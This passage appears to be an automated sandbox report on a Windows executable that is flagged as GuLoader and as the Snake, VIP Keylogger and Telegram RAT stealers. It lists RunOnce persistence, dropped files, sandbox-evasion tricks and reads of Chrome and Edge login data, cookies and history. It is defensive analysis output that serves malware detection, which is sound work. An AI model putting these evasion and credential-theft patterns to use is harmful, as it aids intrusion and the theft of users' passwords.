Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: jazy.lnk.0.dr

LNK file: ..\..\Documents\skinder.mun

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:	Binary string: mshtml.pdb source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: _.pdb source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035965000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17883981680.0000000004770000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.17886564519.0000000008520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Code function: 0_2_00405EA7 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405EA7

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 0_2_10002CE0 push eax; ret	0_2_10002D0E
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_3736F7B9 push ecx; retf	2_2_3736F7C4
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_373D259A push edx; iretd	2_2_373D259B
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_3741EC84 push ss; iretd	2_2_3741EC85

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File created: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll			Jump to dropped file
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File created: C:\Users\user\AppData\Roaming\stub\Sophia.exe			Jump to dropped file

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce file	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce file	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce file	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce file	Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Opens the same file many times (likely Sandbox evasion)

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

File opened: C:\Program Files (x86)\Common Files\mastens\topnotcher.epi count: 73505

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	API/Special instruction interceptor: Address: 88DE5AA
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	API/Special instruction interceptor: Address: 39CE5AA

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Memory allocated: 34920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Memory allocated: 34750000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe TID: 2928	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe TID: 2928	Thread sleep time: -600000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 0_2_00405459 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,LdrInitializeThunk,FindNextFileA,FindClose,	0_2_00405459
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 0_2_00405E80 FindFirstFileA,FindClose,	0_2_00405E80
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 0_2_0040264F FindFirstFileA,	0_2_0040264F

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior

Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.00000000046EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW"@
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.00000000046EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.00000000046A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@co

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	API call chain: ExitProcess graph end node			graph_0-4156
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	API call chain: ExitProcess graph end node			graph_0-4298

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Code function: 0_2_00405859 LdrInitializeThunk,GetTickCount,GetTempFileNameA,

0_2_00405859

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Code function: 0_2_00405EA7 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405EA7

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Process created: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Code function: 0_2_00405B9E GetVersion,LdrInitializeThunk,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405B9E

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

